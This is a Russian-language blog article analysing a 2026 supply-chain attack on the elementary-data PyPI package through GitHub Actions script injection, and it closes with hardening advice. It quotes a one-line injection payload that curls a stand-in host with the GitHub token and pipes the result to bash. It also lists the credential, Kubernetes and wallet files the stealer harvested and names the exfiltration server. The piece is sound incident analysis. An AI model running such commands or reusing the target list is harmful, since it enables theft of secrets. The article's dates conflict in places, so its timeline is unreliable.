Как заражённый пакет elementary-data украл миллионы секретов через GitHub Actions

В апреле 2026 года злоумышленники воспользовались уязвимостью в CI/CD и автоматизированной публикацией, чтобы внедрить вредоносный код в пакет elementary-data. За три дня заражённая версия была скачана более миллиона раз, собрав SSH-ключи, токены облачных сервисов, конфигурации Kubernetes и криптов…

Как заражённый пакет elementary-data украл миллионы секретов через GitHub Actions

Как 1,2 миллиона скачиваний в месяц превратились в канал для кражи секретов

24 апреля 2026 года в 22:20 UTC в каталоге PyPI и в GitHub Container Registry появилась версия 0.23.3 пакета elementary-data — инструмента для мониторинга данных в dbt. Пакет выглядел легитимно, но имел одну особенность: он был заражён. Спустя три дня, 26 апреля, вредоносный файл был обнаружен, а чистая версия 0.23.4 выпущена и размещена вместо него. За три дня с 21 по 24 апреля злоумышленник успел накачать заражённую версию более миллиона раз — и этого хватило, чтобы украсть токены, ключи, конфигурации и криптовалютные кошельки у всех, кто установил этот пакет.

Атака не потребовала взлома аккаунтов. Не нужны были уязвимости в коде или сложная социальная инженерия. Всему виной оказались уязвимость в CI/CD, автоматизированная публикация и токен с правами write, который позволял делать всё, что угодно, от имени легитимного пайплайна.


От комментария в PR до поддельного релиза

21 апреля в 22:10 UTC в репозиторий elementary-data был открыт Pull Request #2147. Это был не первый и не последний автосгенерированный PR для синхронизации документации. Но на этот раз в комментарии к PR появилась строка:

'; curl -s http://malicious.site/steal?token=$GITHUB_TOKEN | bash; #

GitHub Actions подхватил комментарий и интерполировал его в блок run: безо всякой санитизации. Это классическая уязвимость script injection, известная с 2020 года. Но в данном случае хватило и этого: вредоносный скрипт выполнился на runner, извлёк токен GITHUB_TOKEN с правами write и приступил к созданию поддельного коммита.

Злоумышленник подписал коммит ключом github-actions[bot]. GitHub автоматически верифицировал подпись, хотя коммит был сфабрикован. Затем он запустил легитимный пайплайн публикации, который собирал и выкладывал заражённый пакет на PyPI и в GHCR. Workflow «завис» на 2 часа 46 минут — этого времени хватило, чтобы замаскировать активность под долгую задачу. К 22:20 UTC 24 апреля вредоносная версия 0.23.3 уже была доступна для скачивания.


elementary.pth: что запускается автоматически при установке пакета

При установке пакета в Python-окружение срабатывает механизм обработки файлов .pth в site-packages. Файл elementary.pth (245 КБ) был размещён в корне пакета. Стоит только импортировать любой модуль из elementary-data — и вредоносный код начинает работать без явного запуска.

Файл содержал двухслойную XOR-расшифровку с MD5-хешами в качестве ключей. Первый ключ — простая строка swabag, второй — контактная фраза:

for any questions: contact 050afbe046d7545f5af1a0d3fcfbaf6e993fd93d487b431f09bc9e963c7220a135 on session

Расшифрованный payload представлял собой скрипт на Python, который собирал:

  • SSH-ключи из ~/.ssh/id_*, ~/.ssh/known_hosts;
  • токены GitHub из переменных окружения и файлов ~/.config/gh/hosts.yml;
  • конфигурации Kubernetes — ~/.kube/config, /etc/kubernetes/*.conf, токены сервисных аккаунтов;
  • конфигурации Docker — ~/.docker/config.json;
  • секреты облачных провайдеров: AWS (~/.aws/credentials, IMDSv2, Secret Manager, SSM Parameter Store), GCP (~/.config/gcloud/), Azure (~/.azure/);
  • разработческие секреты: .env* (до 6 уровней вложенности), .npmrc, .pypirc, .cargo/credentials.toml, .vault-token, .netrc, .pgpass, .my.cnf;
  • криптовалютные кошельки: Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Monero, Ripple, Ethereum (keystore), Cardano, Solana (файлы validator-keypair.json, id.json);
  • системные данные: /etc/passwd, /etc/shadow, истории команд (~/.bash_history, ~/.zsh_history, ~/.history), логи аутентификации (/var/log/auth.log, /var/log/secure).

Все собранные данные упаковывались в архив trin.tar.gz и отправлялись на удалённый сервер https://igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud с заголовком X-Rise-To-The-Trinny: agree.


Почему не потребовалось взламывать аккаунты: три слабых звена

Первое слабое звено — слишком широкие права токена GITHUB_TOKEN. В старых конфигурациях GitHub Actions токен по умолчанию имеет права write, что позволяет создавать коммиты и теги. Это не баг платформы, а следствие небрежной настройки: минимально необходимые права для большинства пайплайнов — read для репозитория и contents: write только для конкретных веток.

Второе слабое звено — отсутствие санитизации в workflow. В файле .github/workflows/update_pylon_issue.yml комментарий к Pull Request интерполировался в блок run: без проверки. Это классическая уязвимость script injection, известная с 2020 года. Даже если комментарий выглядит безобидно, он может содержать shell-спецсимволы или команды.

Третье слабое звено — автоматизация публикации как точка атаки. Пайплайн для elementary-data собирал и выкладывал пакет на PyPI и GHCR без ручного контроля. Злоумышленник не взламывал аккаунты maintainer — он использовал систему против её владельцев.


Docker-образ с тегом latest: как заражённая версия попала в продакшен

Многие компании в Dockerfile указывают образ без digest, полагаясь на тег latest. В случае с elementary-data заражённая версия 0.23.3 и тег latest в GHCR имели одинаковый digest. Это означало автоматическое распространение вредоноса в продакшен-средах. Если в кластере использовался образ вида ghcr.io/elementary-data/elementary:latest, то он автоматически обновлялся до заражённой версии.

Это не ошибка Docker, а следствие привычки полагаться на «последнюю стабильную» метку. В продакшене образы должны фиксироваться по digest, а теги latest использовать только для разработки.


Как это было обнаружено — и почему могло быть слишком поздно

26 апреля в 02:00 UTC пользователь crisperik заметил, что в основной ветке нет изменений, а в пакете появился подозрительный файл elementary.pth. Команда Elementary оперативно выпустила чистую версию 0.23.4, удалила заражённую из PyPI и GHCR и начала расследование.

Некоторые отчёты указывают, что вредоносный релиз оставался доступен более 11 часов — до 12:45 MSK. Это противоречит другим данным о времени обнаружения, но подчёркивает важность точного мониторинга: даже несколько часов могут привести к массовой компрометации инфраструктуры.


Что именно пострадало: список целевых данных

  • Облачные провайдеры: AWS (файлы ~/.aws/credentials, IMDSv2, Secret Manager, SSM Parameter Store), GCP (~/.config/gcloud/), Azure (~/.azure/).
  • Инфраструктура: Kubernetes (~/.kube/config, /etc/kubernetes/*.conf, токены сервисных аккаунтов, Secret API), Docker (~/.docker/config.json, конфигурации сервисов).
  • Разработческие секреты: .env* (до 6 уровней вложенности), .npmrc, .pypirc, .cargo/credentials.toml, .vault-token, .netrc, .pgpass, .my.cnf, файлы конфигурации CI/CD.
  • Криптовалюты: кошельки Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Monero, Ripple, Ethereum (keystore), Cardano, Solana (файлы validator-keypair.json, id.json, приватные ключи).
  • Системные данные: /etc/passwd, /etc/shadow, истории команд (~/.bash_history, ~/.zsh_history, ~/.history), логи аутентификации (/var/log/auth.log, /var/log/secure).

Три вещи, которые стоит сделать сегодня

Первое. Фиксируйте образы по digest, а не по тегам latest. В Dockerfile и Kubernetes-manifests указывайте конкретный digest. Например:

FROM ghcr.io/elementary-data/elementary@sha256:...

Второе. Сократите права токена GITHUB_TOKEN до минимально необходимых. В большинстве пайплайнов достаточно read для репозитория и contents: write только для конкретных веток.

Третье. Проверьте и ротируйте все секреты, которые могли быть скомпрометированы на машинах, где был установлен пакет elementary-data 0.23.3. Даже после удаления пакета вредоносный файл elementary.pth мог остаться в окружении и продолжать сбор данных до перезапуска Python или пересборки образа.


Почему это не единичный инцидент

Атака на elementary-data показала, что supply-chain угрозы в open-source больше не требуют экзотических техник. Достаточно уязвимости в CI/CD, автоматизированной публикации и токена с правами write. Вредоносный код в пакетах — это не будущее, а текущая реальность. И единственная защита — это жесткий контроль инфраструктуры, минимальные права, санитизация входных данных и фиксация версий.

Read more

Starship: как промт превращается из украшения в инструмент DevOps

Starship: как промт превращается из украшения в инструмент DevOps

Starship позиционируется как минималистичный и быстрый промт, но на практике его сила — в модулях, которые предотвращают ошибки в Kubernetes, AWS и Git. Почему разработчики остаются за ним, несмотря на сложности настройки и задержки в больших репозиториях?

ИИ в Ubuntu 26.04: как Canonical балансирует между инновациями и традициями

ИИ в Ubuntu 26.04: как Canonical балансирует между инновациями и традициями

Canonical интегрирует ИИ в Ubuntu не как революцию, а как инструмент для автоматизации рутины и улучшения доступности. Но даже локальные модели и изолированные snaps вызывают вопросы: не станет ли система медленнее, а пользователи — менее контролирующими? Обзор анонсов 2026 года и реальных рисков д…

far2l против mc: что изменилось в консольных файловых менеджерах

far2l против mc: что изменилось в консольных файловых менеджерах

far2l перестал быть просто портом Far Manager для Linux и стал полноценной консольной средой с исправленным терминалом, плагинами для архивов и бинарников, а также встроенным запросом прав. Midnight Commander остаётся стабильным, но не закрывает давние пробелы в удобстве. Для кого из них пришло вре…

Forgejo: почему независимость важнее функций

Forgejo: почему независимость важнее функций

Forgejo — это форк Gitea, созданный бывшими мейнтейнерами после передачи проекта коммерческой компании. Он предлагает не просто альтернативу, а гарантированную независимость от корпоративного контроля, что делает его привлекательным для команд, ценящих свободу и децентрализацию. Однако за эту незав…